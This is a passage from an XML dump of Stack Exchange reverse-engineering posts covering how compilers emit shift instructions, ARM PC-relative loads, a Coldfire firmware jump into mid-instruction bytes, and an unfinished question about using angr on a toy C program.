href=&quot;http://www.open-std.org/jtc1/sc22/wg14/www/docs/n1256.pdf&quot; rel=&quot;noreferrer&quot;&gt;C99 standard&lt;/a&gt;, section 6.5.7:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;The integer promotions are performed on each of the operands. The type of the result is that of the promoted left operand. If the value of the right operand is negative or is greater than or equal to the width of the promoted left operand, the behavior is undefined.&lt;/p&gt;&#xA;&lt;p&gt;The result of &lt;strong&gt;E1&lt;/strong&gt; &amp;lt;&amp;lt; &lt;strong&gt;E2&lt;/strong&gt; is &lt;strong&gt;E1&lt;/strong&gt; left-shifted &lt;strong&gt;E2&lt;/strong&gt; bit positions; vacated bits are filled with zeros. If &lt;strong&gt;E1&lt;/strong&gt; has an unsigned type, the value of the result is &lt;strong&gt;E1&lt;/strong&gt; × 2&lt;sup&gt;&lt;strong&gt;E2&lt;/strong&gt;&lt;/sup&gt;, reduced modulo one more than the maximum value representable in the result type. If &lt;strong&gt;E1&lt;/strong&gt; has a signed type and nonnegative value, and &lt;strong&gt;E1&lt;/strong&gt; × 2&lt;sup&gt;&lt;strong&gt;E2&lt;/strong&gt;&lt;/sup&gt; is representable in the result type, then that is the resulting value; otherwise, the behavior is undefined.&lt;/p&gt;&#xA;&lt;p&gt;The result of &lt;strong&gt;E1&lt;/strong&gt; &amp;gt;&amp;gt; &lt;strong&gt;E2&lt;/strong&gt; is &lt;strong&gt;E1&lt;/strong&gt; right-shifted &lt;strong&gt;E2&lt;/strong&gt; bit positions. If &lt;strong&gt;E1&lt;/strong&gt; has an unsigned type or if &lt;strong&gt;E1&lt;/strong&gt; has a signed type and a nonnegative value, the value of the result is the integral part of the quotient of &lt;strong&gt;E1&lt;/strong&gt; / 2&lt;sup&gt;&lt;strong&gt;E2&lt;/strong&gt;&lt;/sup&gt;. If &lt;strong&gt;E1&lt;/strong&gt; has a signed type and a negative value, the resulting value is implementation-defined.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;hr /&gt;&#xA;&lt;p&gt;However there are a lot of &lt;em&gt;other operations that can produce a shift instruction&lt;/em&gt;, and various cases that &lt;em&gt;shift operators don't produce a shift instruction&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;It's less common to see &lt;code&gt;&amp;lt;&amp;lt;/&amp;gt;&amp;gt;&lt;/code&gt; that are not compiled to a shift instruction, but compilers may optimize &lt;code&gt;x &amp;lt;&amp;lt; 1&lt;/code&gt; to &lt;code&gt;x += x&lt;/code&gt; and you'll see things like &lt;code&gt;ADD eax, eax&lt;/code&gt; or &lt;code&gt;LEA ecx, [eax + eax]&lt;/code&gt;. On x86 &lt;code&gt;x &amp;lt;&amp;lt; i&lt;/code&gt; with i ⩽ 3 can also be compiled to &lt;code&gt;LEA eax, [eax*2ⁱ]&lt;/code&gt; instead of shift. Of course an output like &lt;code&gt;MUL x, 2&lt;/code&gt; is also possible on a hypothetical architecture without shift, or where shift is slower than multiplication&lt;/p&gt;&#xA;&lt;p&gt;Compilers are also able to transform complex statements like &lt;code&gt;(x &amp;lt;&amp;lt; 1) + (x &amp;lt;&amp;lt; 4) + (x &amp;lt;&amp;lt; 13)&lt;/code&gt; into simpler ones such as a single multiplication by 8210, no more shifts.&lt;br /&gt;&#xA;Or GCC recognizes &lt;code&gt;(a ^ b) + (a &amp;amp; b) + (a &amp;amp; b)&lt;/code&gt; as well as its the inverse condition &lt;code&gt;(a + b) - (a &amp;amp; b) - (a &amp;amp; b)&lt;/code&gt; and optimize them to &lt;code&gt;a + b&lt;/code&gt; and &lt;code&gt;a ^ b&lt;/code&gt; respectively, so it's possible (in the future) that they'll be able to convert the equivalents &lt;code&gt;(a ^ b) + ((a &amp;amp; b) &amp;lt;&amp;lt; 1)&lt;/code&gt; and &lt;code&gt;(a + b) - ((a &amp;amp; b) &amp;lt;&amp;lt; 1)&lt;/code&gt; into &lt;code&gt;ADD&lt;/code&gt; and &lt;code&gt;XOR&lt;/code&gt; without any shifts at all.&lt;br /&gt;&#xA;&lt;a href=&quot;https://godbolt.org/#z:OYLghAFBqd5QCxAYwPYBMCmBRdBLAF1QCcAaPECAKxAEZSAbAQwDtRkBSAJgCFufSAZ1QBXYskwgA5CJaC8wFpnQBqAIIARDRFnzFylU1IrdCpaoBGASg4AGNRwDsfeyrcrimAmJYqITFQ4AVmwVa0DePwDuADYwqwieKIi46w4AZhcHRw07B3tTfVUADQB5ACUdOTMDIxNqovi8pyz3Dy8fZP54lQBaLq5UhP7/FKbM5pzmgobzFQBbEQYqvTmADxt7Fry2z29iXwg1wPSAYQzTlVoE7qOT87OVABYbyLuLi6v0mwmtqfspFZGNIglJSCxpLYwahpOdeN1hGIJBF0rQwQRIYCgQhMEwsMRKECANZ0AAcADpSbRaFx0k8nqTHIN0lwuE9gVInmCIVIoaQYVIwYIQLZSBjeYDSHBYEg0PMAA54BiYMgUCByxXKgnAUlcUgAMyVBBVwogFkxpAseBYTGIAE9pGjSHL5pgWARSiwGA6JaQsPNWMBlRb8J5kAQ8AA3TDC32YNaYZAiY2OsHW40MC0MPAWYi2u2nDCSKROgjEPDzVNA5hsFD8fiMHPCyBA1DyiOoOTSXqldJC0TiSTXDmg8EWgVrUkxXoxJ4qYDIZAqClcPy4QgkFH0FSFhVKlVbhJwvi8dGYoEQWWoPda8iUDX7gny%2BXIWfK4AxdKiw0MY3EU3mr6Vo2vaqbOterrup63ohpgAZsMGvqhomEbRrGfLxomybFk66aYJmvrZrm%2BaFlgYFlhWVaMIGdbwrwjYWM2ECtu2eCdrGPbpH08yeIoTCuoI/ZIkO1Ygty47SPKqAAO4qm%2BmDzouKgxOS6TkrYa74EQxBbsYu6age3DpN8O71qeYrnlKV43iqd7qteBkEsgNbAI4tjfkaJqUIBfLAfmYEum6Hpej6fL%2BoGiFhXgYaoTGFqYUmKYlmm7r4VmOZ5vapE4ei5aVsl1Y0ZwdECERTEsR2XZSJxfT6tGxAWKggiYL0TCCPMQmDnQolSKOPJ8hOU4znOzmBiojjqepmkbjpRnbvpj4olwR5mTwZ4She1mOXZD5aiAtrzLOOpcB5v5eWaFp%2BaByXgfMkHBTBSFwRFxZRTFUZxXGCaJTl5CpQRfJEZlBZFuReVUS5tEnqVTbwBVbFVZxnUSN1I7ib6ApqOUACys6KUuK7Tdpuk7g5i1GS8pkletUJWNiuL4oSpAklS5K0KSjIxEEQQ0o46QxI4jgclypCVrQ7ljhj0hCiKFkbT1XDowN0ty7TQL1fInYgE8QA%3D&quot; rel=&quot;noreferrer&quot;&gt;See them in action&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;For the other case there are various examples:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;Multiplication by a power of 2&lt;/strong&gt; is done by a &lt;em&gt;left shift&lt;/em&gt;. On x86 there exists the more versatile &lt;code&gt;LEA&lt;/code&gt; instruction, so for exponent ⩽ 8 the choice between &lt;code&gt;LEA&lt;/code&gt; and &lt;code&gt;SHL&lt;/code&gt; depends on the compiler. Array arithmetic also need a lot of multiplication, so a shift is also usually used&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Multiplication by many other constants&lt;/strong&gt; can also be optimized to a series of ADD/SUB and shifts if that's faster than the &lt;code&gt;MUL&lt;/code&gt; instruction itself. Again in x86 occasionally LEA is used instead of shifts&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Division by a power of 2&lt;/strong&gt; is done by a &lt;em&gt;right shift&lt;/em&gt;. For unsigned types it's a simple logical shift. For signed types it's an arithmetic shift followed by some other shifts and ADDs to correct the result (since division rounds towards zero, and arithmetic right shift rounds towards -inf)&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Division by constants&lt;/strong&gt; will be &lt;a href=&quot;https://stackoverflow.com/q/41183935/995714&quot;&gt;optimized into a multiplication by the corresponding multiplicative inverse&lt;/a&gt;, which may involve some shifts to round the result&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://stackoverflow.com/q/54438477/995714&quot;&gt;Clang even emits an &lt;code&gt;SHR&lt;/code&gt; for checking the high bits&lt;/a&gt; while doing a &lt;strong&gt;division by a non-constant&lt;/strong&gt; if tuning for microarchitectures from Sandy Bridge onward&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Bitfield&lt;/strong&gt; accesses of course need to use a lot of shifts in architectures without efficient bitfield manipulation like x86. &lt;a href=&quot;https://godbolt.org/#z:OYLghAFBqd5QCxAYwPYBMCmBRdBLAF1QCcAaPECAKxAEZSAbAQwDtRkBSAJgCFufSAZ1QBXYskwgA5IILERyAgGoARoQBmeTA3RKOAdj4AGAIJLzSvC2UqQS2lw4BmY2YtXlyO7QAsz1xZKIiyCeMAsmLrodgCs/hymgR5KkvbxpgYAIukmCSbJ6hBqBJraugBuAJR5BgEWxJgEYixK5QB0KgBUTlx6vK1tyJ0AbD5KALQD6J20wxMDmJ1%2BLjX62aZSlYzSMVKkLNJGe6jSAML8/ErCYhJ9TrR7BIebWwDWdPptPk4AnDEAHLQfvouDFhsM/lxtlIfHsDlIjqQTlI9oIQEZSE8EZtSHBYEg0ABbAAOeAYmDIFAgRNJ5OIICYxEJo2A/y4GM0DAIFLRRWepDULEZAE9pA9SETCZhrAB5FgMUXY0hYQmsYDk/n4BqKPDlTBopWYAAemGQIm5Yr2Hm0/IYeBUxBFpwwkik4rkeEJlq2zDYKAuvEY9rRkC2qGJBDwqBC0nGMqcqNE4kktB9Ozh/ORJgASgBZUZKYDIZBKf5tXoQXCEEh3ehKZ0kskUu4%2BSr1gM8R7PLYQAmoRt08iUGlN%2BnIX3AfRGDlk7nEXm2JWCkWWiX9qWy%2BWKxEqtUapVa02RvUGxHG03m13i60MW32x3EYXOrCrj1et04if%2B3j8IMqEMQGGEZRjGUhxk4EzqHqxAqKggiYOMTCCISiY3CmaZSLs%2ByZtIRr/MM4wFuOapKJ8RhtEYSiVvgRDELWpD1v2tLNtwPRtucP68F22I9n2A4UkO1JMaOICslCnJzgu/LLo%2Bq6StKBBygqmqYKqbD7jueDase%2Br8ueZoWh%2B5DWDaSp2g6Touq%2BxCet6jBqt%2BfCBuZAFAZG0YGuBqHJnQGFYfCiLInhBEFkWJZlhWVa0fRjH8XRrGpu2nGdpi3a4nxzGUsOwl0iAxLEsgozksAwxODOXI8pQi6IjJirivJm7KQeql7q6mnabqumGiaBlXlaJm3mZ96WS%2BRlvnZX6cMlf6uUiwEebG8YTISDThEwUqCN5Ei%2BdC/k4VIxKoAA7hSRWYIWxZKMMbROBRVFRTWCUMQ2mV3E47EdtxRyVFsCCYEwWD0oBpDvGybRgkYPi0P8RhcPo3xlT40KwqQXq0NO2FKsiqLoqlPEYVwGZY9IX0vKQ0GhNGIA%2BEAA&quot; rel=&quot;noreferrer&quot;&gt;See demo&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;...&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://godbolt.org/#z:OYLghAFBqd5QCxAYwPYBMCmBRdBLAF1QCcAaPECAKxAEZSAbAQwDtRkBSAJgCFufSAZ1QBXYskwgA5NwDMeFsgYisAag6yAwskEF8LAhuwcADAEFTZhQVlcA%2BgVUBbEQwAcEa7YeqAHgEpLDgB2PnNVCNViTAIxFj8AKjd1WTCLYIARSy97R3wANw8cn19SVWLHbgA2J0DzELTI5xSMv3UuAFZVNw1GyOjY4njfAHoe1KDMyxEK1QK3EQgZg29HUtVlm1z2mrr0voinFrbuLvGDqJi4vzHeyaz681mXBloOzxXtgMmLgevfBJvO71KZPT4%2BApvD5bEplWbVWo/SxNI4aVq%2BdpdIETcL9K5DG7YtIhB4WMEwxwvWSyaGrPx7BrIvGDYYJanA9Kk2YFam0r5w8GVLi7JG4w7HDGnVTsnFmJp/AmjGXEzJSfyMaQdKSkFjSEza1DSTT8fiqYRiCTtWS0bUEPVq9UAazoAE4AHTBF0mF1uKpcNyyAAswUDbg6gY1UkD2t1Un1pENUm1ghAJlIdrjatIcFgSDQTgADngGJgyBQIPmiyXiCBgG4uKQAGbFgillMQABG9tIHYUTGIAE9pDbSPmnJgDAB5FgMIeZ0hYJysYAl7v4aLIAh4fKYFPzzC%2BTDIESt4fa6yYBjdhh4DvEfsDzQYSRSEcEYh4Jxn9XMNgoE28Iwt4ppA6qoAWW6oCwe4ALSTrIyaiOIki0D%2Bmoxt2ia%2BL6MFVIGqjAMgyDdG6XCqBAuCECQVr0KoT6FsWpY0f4dEATwtr2uqEB5qgDHVuQlCVoxNZ4ERtAuvQzYMK2xDtl2869iwD5nqOvHjlOM5zvGi7Lqu87rkeW47nu8YHkeJ4viOF5XvON53g%2BT5YCp76ft%2BjDLv%2BvD8EBHYgRAYEQXgUGwfBqgwY2O7EB2qCCJgMFMIITiIRaKFoVIWo6ph0jYVUuH4aJxHiW6JhurQ5GUUQxA0WU9FVkxchcCxxpebwHGZlxPF8aWAkVrxdU1v2Th4XWXBplJMlyd2inKa%2B2pjhOBDTrOa6YEubB6dpeAbkZu7dmZx6nrN5AGJe163veg6OZZtofl%2Bs0/h5nAtQIdl%2BQFkHQdIcEIUISESHQaUZbG8aJmYABKACyeEEURJFkRR%2BCVdVdF9cJVqBk1bFtfqHUoKj/HlkJ1YgAWBbIHhJbAFUshjS2baUPJ8bTYOKnzRpy36atukvpt23brt%2B6Hgd13Ha2NnxnZF2Ps%2Bzm3W5v7sGxPlvQmgXBV9oUwU40TAEp46CMlyEA5GQNZVIBaoAA7qWFOYDDxFVG6sjFeViPUXItG1WjciyJjz3Yw6pAIJgTBYDW/mkM6bglaNXq0LIwS0FUHSdG8kbRqQX60CYabAwa0jJqm6acWlXAYfOiYB/46qRYIQW6oGQA&quot; rel=&quot;noreferrer&quot;&gt;Here are some illustrations for the mul/div examples&lt;/a&gt;. You can easily see that &lt;code&gt;x*15&lt;/code&gt; is replaced by &lt;code&gt;x*16 - x&lt;/code&gt; and &lt;code&gt;x*33&lt;/code&gt; is done by &lt;code&gt;x*32 + x&lt;/code&gt;, i.e. &lt;code&gt;(x &amp;lt;&amp;lt; 4) - x&lt;/code&gt; and &lt;code&gt;(x &amp;lt;&amp;lt; 5) + x&lt;/code&gt;. Besides, &lt;code&gt;x*8&lt;/code&gt; is optimized to &lt;code&gt;lea eax, [0+rdi*8]&lt;/code&gt; or &lt;code&gt;shl edi, 3&lt;/code&gt; depending on the compiler. The mnemonics &lt;code&gt;SAL&lt;/code&gt; and &lt;code&gt;SHL&lt;/code&gt; are also freely chosen by the compiler&lt;/p&gt;&#xA;&lt;p&gt;I've also put some non-x86 compilers for comparison, because they don't have &lt;code&gt;LEA&lt;/code&gt; but may have other shift-related instructions or different shift capabilities beside the normal shift instructions. You can change between various x86 as well as non-x86 compilers to see the differences between their outputs. Another example that combines multiple things I've said above:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;struct bitfield {&#xA;    int x: 10;&#xA;    int y: 12;&#xA;    int z: 10;&#xA;};&#xA;&#xA;int f(bitfield b)&#xA;{&#xA;    int i = b.x*65;&#xA;    int j = b.y/25;&#xA;    int k = b.z/8;&#xA;    return (i &amp;lt;&amp;lt; j) + (k &amp;gt;&amp;gt; j);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://godbolt.org/#z:OYLghAFBqd5QCxAYwPYBMCmBRdBLAF1QCcAaPECAKxAEZSAbAQwDtRkBSAJgCFufSAZ1QBXYskwgA5IILERyAgGoARoQBmeTA3RKOAdj4AGAIJLzSvC2UAPEEtpGOAZmNmLV5QE97tLi7cLS2slAC9fJ1cOUwMAEQDok0TPJXUINQJNbV0VAEpEg0CPELw9Z1jVADobACoANgBWBNMglKoyipVKrwB6LiaoluLlAGsOqtCegA5m93NiTAIxFiUIUpcAYU2lKly9XlWxl2xjnfzBpP140ylcxmkGqVIWaSMn1Gkt3n4lYTEJfbOWhPAivW53EZ0fSVLgAFmcdSBdVozmccLqcPuUlhTxeUjepA%2BUieghARlIoPxt1IcFgSDQAFsAA54BiYMgUCCMlls4ggYBTLikTQMAjs0npMGkNQsJjEHxSYGkRkMzDWADyLAYCoJWAZrGAbKl%2BAWijwADdMKSqaRMDZMMgRGLpErPNopQw8CpiHKvBsMJJFSDiHgGS7qcw2Ch%2BPxGF7SZA7qgmQQ8KgWNaALTq5wk0TiSS0O4MB64qVEmxTOqZuqwpTAZDIJRTGGrXCEEiA%2BhKf3M1nsrt7L58XggsF3CD01B93nkSjc/t85CR4D6IzkkVi4gSlRSmW%2B8PK6eqjVanVPPUGo02k0O1OW60Eu0Op2B13Wd02z3e33%2BrCHuRQ3DYsDWjb5eDjFQEwgJMUzTDNpGzZwlEzdRLWIFRUEETBMyYQQGTzf5C2LUtnnLaRK2rWslGXA0lGhIxKiMNt8CIYgu1IHtpx5AduDRIcY1HClxxpKcZ3ZOcuW4xcQCZJlkFrNlgERDdWS3Hc9ysA8gyPBkTwITVtWNTB9TYa9dTwU17ytKVn0dZ0dLdEsvy9H15T/N9gyAoMQKjThwIEb9oNg1N0yzHMUIZBZgFlVVBEIgs6BIqRHjIm0iSZVAAHd2UUzB60bJQ6kqZwmJYjt2L47tex4yquFRASArHKkJzE2rJIXXkQDlBlawFLhVNFcVKF3G193lQ8VTVAyz2M0zDUDCyrItGybTs19Dycj1XN/AMAJDMMfMYUD/JHQL43gEL4PC3MhHzCQkqxVK8QJIkTAAJQAWWohsmxbLhyrYjiuPEurnFhRqzuat5cjuBBMCYLA%2BRg0hIUFSp9AaRE6imZwqzqTG8axHFSDDRxyRe95pBJMlhJa5KuDLdLqbpmG7nQwR4JAWEgA%3D%3D&quot; rel=&quot;noreferrer&quot;&gt;That compiles to&lt;/a&gt;&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;f(bitfield):&#xA;        mov     eax, edi&#xA;        mov     edx, edi&#xA;        sar     edi, 22&#xA;        sal     eax, 10&#xA;        sal     edx, 6&#xA;        sar     eax, 20&#xA;        sar     dx, 6&#xA;        imul    ecx, eax, 5243&#xA;        sar     ax, 15&#xA;        sar     ecx, 17&#xA;        sub     ecx, eax&#xA;        movsx   eax, dx&#xA;        mov     edx, eax&#xA;        movsx   ecx, cx&#xA;        sal     edx, 6&#xA;        add     edx, eax&#xA;        lea     eax, [rdi+7]&#xA;        sal     edx, cl&#xA;        test    di, di&#xA;        cmovns  eax, edi&#xA;        sar     ax, 3&#xA;        cwde&#xA;        sar     eax, cl&#xA;        add     eax, edx&#xA;        ret&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;You can open the Godbolt link to see &lt;em&gt;which instruction corresponds to which line of code &lt;strong&gt;in color&lt;/strong&gt;&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;In summary:&lt;/strong&gt; Compilers nowadays are really smart and can output &amp;quot;surprising&amp;quot; results to a normal people. They can emit a shift instruction for pretty much any operators in C. &lt;strong&gt;With an optimizing compiler, all bets are off&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;h1&gt;See also&lt;/h1&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://stackoverflow.com/q/7622/995714&quot;&gt;Are the shift operators (&amp;lt;&amp;lt;, &amp;gt;&amp;gt;) arithmetic or logical in C?&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://stackoverflow.com/q/4009885/995714&quot;&gt;Arithmetic bit-shift on a signed integer&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://stackoverflow.com/q/39853049/995714&quot;&gt;Implementation of logical right shift of negative numbers in c&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://stackoverflow.com/q/6487918/995714&quot;&gt;Signed right shift: which compiler use logical shift&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://docs.microsoft.com/en-us/cpp/c-language/bitwise-shift-operators?view=vs-2017&quot; rel=&quot;noreferrer&quot;&gt;Bitwise Shift Operators in MSVC&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://gcc.gnu.org/onlinedocs/gcc/Integers-implementation.html#Integers-implementation&quot; rel=&quot;noreferrer&quot;&gt;Bitwise shift in GCC&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://en.cppreference.com/w/c/language/operator_arithmetic#Shift_operators&quot; rel=&quot;noreferrer&quot;&gt;Shift operators - cppreference&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="2563" LastEditorUserId="-1" LastEditDate="2020-06-17T09:54:32.040" LastActivityDate="2019-10-12T04:55:14.660" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20567" PostTypeId="2" ParentId="17666" CreationDate="2019-02-07T08:41:30.703" Score="3" Body="&lt;p&gt;&lt;strong&gt;&lt;code&gt;ldr&lt;/code&gt; without &lt;code&gt;=&lt;/code&gt; does PC relative loads&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is true for both labels and numbers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But you will of course rarely use numbers directly in your assembly. Maybe you have provided some disassembly without labels?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Both of the following work in GNU GAS ARMv8. With a label:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    ldr x0, pc_relative_ldr&#xA;    b 1f&#xA;pc_relative_ldr:&#xA;    .quad 0x123456789ABCDEF0&#xA;1:&#xA;    /* x0 == 0x123456789ABCDEF0 */&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;with an offset:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    ldr x0, 0x8&#xA;    b 1f&#xA;    .quad 0x123456789ABCDEF0&#xA;1:&#xA;    /* x0 == 0x123456789ABCDEF0 */&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Both are equivalent. The assembler just happens to convert the label into the correct offset for you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/cirosantilli/arm-assembly-cheat/blob/c4e0662e334052cbdbb18faedf67c78bd792e718/v8/pc.S#L40&quot; rel=&quot;nofollow noreferrer&quot;&gt;GitHub upstream with assertions&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;STR does not have PC-relative addressing like LDR in ARMv8, you just have to calculate the address into registers first: &lt;a href=&quot;https://stackoverflow.com/questions/28638981/howto-write-pc-relative-adressing-on-arm-asm/54480999#54480999&quot;&gt;https://stackoverflow.com/questions/28638981/howto-write-pc-relative-adressing-on-arm-asm/54480999#54480999&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="27375" LastEditorUserId="27375" LastEditDate="2019-02-08T09:42:44.550" LastActivityDate="2019-02-08T09:42:44.550" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20568" PostTypeId="1" AcceptedAnswerId="20622" CreationDate="2019-02-07T10:29:50.037" Score="3" ViewCount="661" Body="&lt;p&gt;&lt;br&gt; &#xA;I'm working on an embedded system Coldfire ROM. Currently, I'm trying to reverse engineering it to gain some more in-depth knowledge about its structure. &lt;br&gt;&#xA;ROM code quality seems &lt;strong&gt;pretty low&lt;/strong&gt;, and I see a lot of redundancy and dead code lay around, as if the code was compiled with a very low level of optimization.&lt;br&gt; &#xA;I'm telling you that because I do not understand if this fact is somehow related to the question I'm about to pose. &lt;br&gt;&#xA;Checking the code, not infrequently, I'm stepping into jumps inside a single multi byte instruction. I'm new to this technique, so I wonder if someone can put me in the right track to understand this, that I consider a strangeness.&lt;br&gt;&#xA;Here an example of what I'm referring to:&#xA;I have a function which starts at &lt;strong&gt;ROM:00005474&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[...]&#xA;.ROM:00005490 30 07             movew %d7,%d0&#xA;.ROM:00005492 4a 80             tstl %d0&#xA;.ROM:00005494 66 0c             bnes 0x0000000c :12 &#xA;.ROM:00005496 70 00             moveq #0,%d0&#xA;.ROM:00005498 60 00 00 a8       braw 0x000000b2&#xA;.ROM:0000549c 4e b9 00 00 36 f8 jsr 0x000036f8  : the jump points inside here&#xA;.ROM:000054a2 32 06             movew %d6,%d1&#xA;.ROM:000054a4 48 c1             extl %d1&#xA;.ROM:000054a6 20 01             movel %d1,%d0&#xA;[...]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In another area of the  ROM, I have another function which starts at &lt;strong&gt;ROM:00012016&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[...]&#xA;.ROM:000120c0 72 00             moveq #0,%d1&#xA;.ROM:000120c2 12 00             moveb %d0,%d1&#xA;.ROM:000120c4 20 3c 00 00 00 ff movel #255,%d0&#xA;.ROM:000120ca b2 80             cmpl %d0,%d1&#xA;.ROM:000120cc 66 00 01 92       bnew 0x00012260&#xA;.ROM:000120d0 4e b9 00 00 54 9e jsr 0x0000549e :here the jump I do not understand&#xA;.ROM:000120d6 72 00             moveq #0,%d1&#xA;.ROM:000120d8 12 00             moveb %d0,%d1&#xA;.ROM:000120da 20 3c 00 00 00 ff movel #255,%d0&#xA;[...]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If I try to follow the jump and begin to disassemble the function starting from the address &lt;strong&gt;ROM:0000549e&lt;/strong&gt; I get a translation which leads to the following interpretation. I understand it is executable, but I do not get the big picture in this action.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[...]&#xA;.ROM:0000549e 00 00 36 f8                      orib #-8,%d0&#xA;.ROM:000054a2 32 06                            movew %d6,%d1&#xA;.ROM:000054a4 48 c1                            extl %d1&#xA;.ROM:000054a6 20 01                            movel %d1,%d0&#xA;[...]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Is there, behind this technique, some old practice I should know. Why this ROM developer should have used such a strange technique? To reduce the code size? If so, it is not fit with the rest of the code which is very redundant and has dead code in it which won't be ever executed!&lt;br&gt;&#xA;&lt;hr&gt;&lt;strong&gt;EDIT.20190214&lt;/strong&gt;&lt;hr&gt;&#xA;At byte 0xc000 it begins a block of code extends to 0x40000 whose first function appears to be incomplete in its beginning part. &lt;br&gt;&#xA;The weirdness seems to begin from this point forward and extends to the byte 0x40000 where the second part of the firmware begins. &lt;br&gt;&#xA;In this code blocks, there are roughly 200 functions of various dimensions and the &lt;strong&gt;JSRs&lt;/strong&gt; with a weird absolute address are not present in all the functions in this block.&lt;br&gt;&#xA;The functions in this block seem to interact with each other seamlessly, but they occasionally occur to present inconsistent addresses.&lt;/p&gt;&#xA;" OwnerUserId="17411" LastEditorUserId="17411" LastEditDate="2019-02-14T16:50:06.060" LastActivityDate="2019-02-14T16:50:06.060" Title="Jump in the middle of an instruction Coldfire firmware" Tags="|disassembly|embedded|motorola|" AnswerCount="3" CommentCount="15" ContentLicense="CC BY-SA 4.0" />
  <row Id="20570" PostTypeId="1" AcceptedAnswerId="20577" CreationDate="2019-02-07T11:45:06.503" Score="4" ViewCount="2235" Body="&lt;p&gt;I'm trying to create an angr script to solve this test program:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#include &amp;lt;stdio.h&amp;gt;&#xA;#include &amp;lt;stdlib.h&amp;gt;&#xA;#include &amp;lt;string.h&amp;gt;&#xA;&#xA;int main(int argc, char *argv[])&#xA;{&#xA;    int value = atoi(argv[1]);&#xA;    char* foo = &quot;foobar&quot;;&#xA;    int sum = 0;&#xA;    for (int i = 0; i &amp;lt; strlen(foo); ++i)&#xA;    {&#xA;        sum += foo[i];&#xA;    }&#xA;    return (sum == value);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'm trying to find out what value needs to be passed to the program in order for it to return True. This is turning out to be less trivial than anticipated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The return value is set in the basic block:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/BFjIr.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/BFjIr.png&quot; alt=&quot;last block&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As you can see, &lt;code&gt;al&lt;/code&gt; is set if the values used in the &lt;code&gt;cmp&lt;/code&gt; are equal. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Most angr solutions I have seen are based on a path that is taken if a certain condition is met. Given the address of that path, it is possible to solve the constraints required to get to the address of that path. This will not work in my case.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have been scouring the angr examples for a way to solve a symbolic variable for a function return value, but this doesn't seem to be possible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm currently trying to use &lt;code&gt;run&lt;/code&gt; or &lt;code&gt;execute&lt;/code&gt; with the &lt;code&gt;find&lt;/code&gt; or &lt;code&gt;until&lt;/code&gt; args to say: execute until &lt;code&gt;rip == &amp;lt;end of function&amp;gt; and eax == 1&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Currently I have this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import angr&#xA;import claripy&#xA;&#xA;def bv_to_int(bv):&#xA;    return claripy.backends.concrete.convert(bv).value&#xA;&#xA;def 